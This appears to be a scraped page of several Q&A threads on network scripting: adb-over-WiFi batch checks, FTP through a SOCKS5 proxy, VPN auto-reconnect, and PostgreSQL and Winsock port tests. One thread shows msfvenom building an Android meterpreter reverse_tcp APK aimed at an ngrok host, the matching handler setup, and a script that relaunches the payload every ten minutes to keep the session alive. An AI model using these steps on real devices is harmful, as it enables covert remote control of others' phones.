batch script for adb connect over wifi - batch-file

i am trying to write a batch script to automate some task and ecocide next command or output according to the response or output from previous command.
adb connect %IP%:5555
if errorlevel 1 (
echo Not Able To connect With Provided Ip Address
goto getip
) else (
echo Connected Over Wifi
goto menu2
)
But it's not working because i think in every case error level is 0
as device connected successfully or not output is same "Connected Over wifi".
Generaly when we enter command adb connect <IP> the outputs are
1)connection is successful output is
connected to 192.168.10.13:5555
2) when android device is in wifi lan and enterd "ip" is correct but "5555" port is not open then output is
unable to connect to 192.168.10.13:5555: cannot connect to 192.168.10.13:5555: No connection could be made because the target machine actively refused it. (10061)
3)when laptops wifi is off
unable to connect to 192.168.10.13:5555: cannot connect to 192.168.10.13:5555: A socket operation was attempted to an unreachable host. (10065)
4) when android's wifi is off
unable to connect to 192.168.10.2:5555: cannot connect to 192.168.10.2:5555: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond. (10060)
i want to define only two case "connection Successful" or "Not Successful"
what should i do to automate task according to the adb over wifi connection setup. please help

You can pipe the output of adb to FIND and search for a telltale token that indicates success or failure, like "unable to" or "connected to".
#echo off & setlocal
set IP=192.168.10.13:5555
adb connect %IP% | find /i "connected to" >nul
if errorlevel 1 (
echo Not successful
) else (
echo Successful
)

Related

Connect to ADB with ngrok and reverse tcp

I have an Android device at home that I use to develop on, and I'm connecting to it through my laptop with adb and scrcpy.
However, if I'm not home adb doesn't see the device. I made an apk for the device with msfvenom for reverse tcp like this:
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.tcp.ngrok.io LPORT=(ngrok port) R > /home/user/reversetcp.apk
then I set up the reverse tcp handler in msfconsole:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > exploit
After this I install and run the apk on my device, then meterpreter opens the session;
[*] Meterpreter session 1 opened (127.0.0.1:25565 -> 127.0.0.1:40146) at 2023-01-07 21:39:43 +0100
and the ngrok console shows up 1 connection (my device). But if I try to add the ngrok server to adb like this:
adb connect "ngrok address"
(there I tried the ngrok tcp link, and 127.0.0.1 with both ports, none of them works) I get the following error: failed to connect to '127.0.0.1:25565': Connection refused I could make a vpn on my local network, but the power usually goes down, so the vpn is a dead end. what am I doing wrong? or adb can't connect with ngrok?
My second issue is, that meterpreter randomly closes the session after around 8 minutes, and if the device powers off and on or if the power goes out the device switches from wifi to mobile data, and I can't reconnect. How can I make the apk run on startup and reconnect if there is a change in the internet connection?
Update: I made an shell script to reopen the reverse tcp apk after 10 mins or if there is internet connection, but it would be better if the connection wouldn't close, and the device isn't rooted, so I can't add the script to the folder to run on startup. Another way to keep the reverse tcp connection would be better, to open an reverse tcp (and keep it open), and if there is change in the internet connection then reconnect automatically.
Btw, here is the script that i wrote:
#!/bin/sh
# check for internet connection
while ! ping -c 1 google.com &> /dev/null
do
# wait 20 seconds before trying again
sleep 20
done
# run the activity
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
# run the activity every 10 minutes
while true
do
sleep 600
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
done
I am convinced that it is not possible to connect a device using reverse meterpreter shell because ADB requires a raw TCP connection rather than meterpreter shell.
You can use the ZeroTier application to create a private network for your devices that can be accessible via the internet. It functions similarly to VPN, but traffic is routed directly rather than through a centralized VPN server.
This post describes how to connect adb using TCPIP in detail.

Can I use SOCKS5 in FTP batch file on Windows?

I want to use a SOCKS5 connection with a generic proxy to upload files to FTP.
I'm working on Windows server. My .txt for my .bat actually looks like:
open proxyhost
proxyuser
proxypassword
user ftpuser#ftphost.de
ftppassword
bin
mput \\upload\path\to\*.pdf
quit
I'm opening the .txt file with:
ftp -i -s:"\\path\to\mytxt.txt" >"\\path\to\ftp.log"
find "226" "\\path\to\ftp.log" && goto finished || goto error
:finished
exit 0
:error
exit 1
Now the question: Is there a way to use SOCKS5 in this .txt?
I found nothing on Google.
Maybe you can help me out. Thanks a lot.
Best regards
The Windows built-in ftp.exe FTP client does not support any kind of proxies (the FTP proxy you are using in your script is a transparent proxy, the FTP client does not even know it exists).
You have to use another command-line FTP client.
For example with WinSCP scripting:
winscp.com /log="\\path\to\ftp.log" /command ^
"open ftp://ftpuser:ftppassword#ftphost.de/ -rawsettings ProxyMethod=2 ProxyHost=proxyhost ProxyUsername=proxyuser ProxyPassword=proxypassword" ^
"put \\upload\path\to\*.pdf" ^
"exit"
if errorlevel 1 goto error
exit 0
:error
exit 1
For details see:
the guide for converting Windows FTP script to WinSCP.
documentation for the "raw session settings" for the proxy.
(I'm the author of WinSCP)

shresoft VPN reconnect on internet connection failure

I am using a batch file for shrewsoft VPN connect-disconnect, my requirements are
1. I am doing a ping test, if ping is failed (internet failure or disconnection issues) then VPN should disconnect and the moment the Internet is ON and ping starts, VPN should connect automatically. So I am looking for an infinite ping loop which will connect or disconnect VPN
I want to run shrew VPN minimsed all the time or better in system tray
I am using this batch but when internet is off (connection failure) VPN disconnects, but I want code to reconnect the VPN once internet connection is reinstated.
#echo off
start /min "vpn" "C:\Program Files\ShrewSoft\VPN Client\ipsecc.exe" -r "testVPN.vpn" -u username -p password -a
:loop
echo testing IP address
ping 121.244.116.222 >nul || (
echo ping failure - disconnecting
taskkill /T /F /IM "ipsecc.exe"
)
timeout /t 30 /nobreak
goto :loop
I've built and open sourced an app to do exactly that, Check it out at https://github.com/CamW/shrew-reconnect if you're interested. You can build from code or just download the installer.
Hope that helps.
try using "expect" as described in https://sakhnik.com/2016/11/21/automatic-vpn.html
Maybe you can adopt this.

Check if Postgresql is listening

Given an IP Address and port number, is it possible to check if the machine with that IP address has Postgresql listening on the specified port? If so, how?
I just want to obtain a boolean value of whether Postgresql is listening on the specified port of the specified machine.
You can use, for example, nmap tool:
=$ sudo nmap -v -p 5930 127.0.0.1
Starting Nmap 6.00 ( http://nmap.org ) at 2013-06-25 19:28 CEST
Initiating SYN Stealth Scan at 19:28
Scanning localhost (127.0.0.1) [1 port]
Discovered open port 5930/tcp on 127.0.0.1
Completed SYN Stealth Scan at 19:28, 0.03s elapsed (1 total ports)
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000045s latency).
PORT STATE SERVICE
5930/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
Raw packets sent: 1 (44B) | Rcvd: 2 (88B)
Alternatively you can just "SELECT 1" with psql, and check output:
=$ psql -h 127.0.0.1 -p 5930 -c "select 1"
?column?
----------
1
(1 row)
=$ psql -h 127.0.0.1 -p 5940 -c "select 1"
psql: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 5940?
I think you need to define what you're trying to achieve better. Do you just want to know if anything is listening on a certain point? If PostgreSQL is listening on a given port? If PostgreSQL is running and actually accepting connections? If you can connect to PostgreSQL, authenticate successfully and issue queries?
One option is to invoke psql to connect to it and check the result code. Do not attempt to parse the output text, since that's subject to translation into different languages.
Better, use the client library for the language of your choice - psycopg2 for Python, PgJDBC for Java, the Pg gem for Ruby, DBD::Pg for Perl, nPgSQL for C#, etc. This is the approach I'd recommend. The SQLSTATE or exception details from any connection error will tell you more about why the connection failed - you'll be able to tell the difference between the server not listening, authentication failure, etc this way. For example, in Python:
import psycopg2
try:
conn = psycopg2.connect("host=localhost dbname=postgres")
conn.close()
except psycopg2.OperationalError as ex:
print("Connection failed: {0}".format(ex))
There are exception details in ex.pgcode (the SQLSTATE) to tell you more about errors that're generated server-side, like authentication failures; it'll be empty for client-side errors.
If you just want to see if something is listening on a given IP and TCP port, you can use netcat (*nix only), or a simple script in the language of your choice that creates a socket and does a connect() then closes the socket if it gets a successful response. For example, the following trivial Python script:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect(('localhost',5432))
s.close()
except socket.error as ex:
print("Connection failed with errno {0}: {1}".format(ex.errno, ex.strerror))
The same approach applies in any programming language, just the details of the socket library and error handling vary.
For some purposes it can also be useful to use the netstat tool to passively list which processes are listening on which network sockets. The built-in netstat on Windows is pretty brain-dead so you have to do more parsing of the output than with netstat for other platforms, but it'll still do the job. The presence of a socket in netstat doesn't mean that connecting to it will succeed, though; if the process has failed in some way that leaves it broken but still running (stuck in an infinite loop, blocked by a debugger, SIGSTOPed, etc) then it won't respond to an actual connection attempt.
In brief
In details
Fastest way is to use netcat aka nc with timeout ability as shared here
Results as 0/1 means postgres working/not-working
echo 'QUIT' | nc -w SECONDS YOUR_HOST PORT; echo $?
# eg
echo 'QUIT' | nc -w 1 localhost 5432; echo $?
Another also-faster way that works for me is to use telnet as discussed here.
echo -e '\x1dclose\x0d' | telnet YOUR_HOST PORT
# eg
echo -e '\x1dclose\x0d' | telnet localhost 5432

Winsock connection test

How do you test to see if your program is working and able to connect with server? I tried stackoverflow server's ip through port 40 and it fails after a min at connect().
test.exe 64.34.119.12 echo 40
Program arguments take a syntax: <Server IP> <Echo Word> [<Echo Port>]
Also, can you test without having to connect to internet?
You should be able to connect to your own echo server on 127.0.0.1:7 if it is running, or get a 'connection refused' (ECONN) if it isn't running. Either would show that your code is OK actually.
As for testing without having to connect to the internet...
I'd download netcat for windows.
NetCat download
Extract the tool, and run:
nc.exe -v -l -p [port]
If you do that, it opens up a "server" and you can connect to it using your application; just point the IP address to 127.0.0.1!

Resources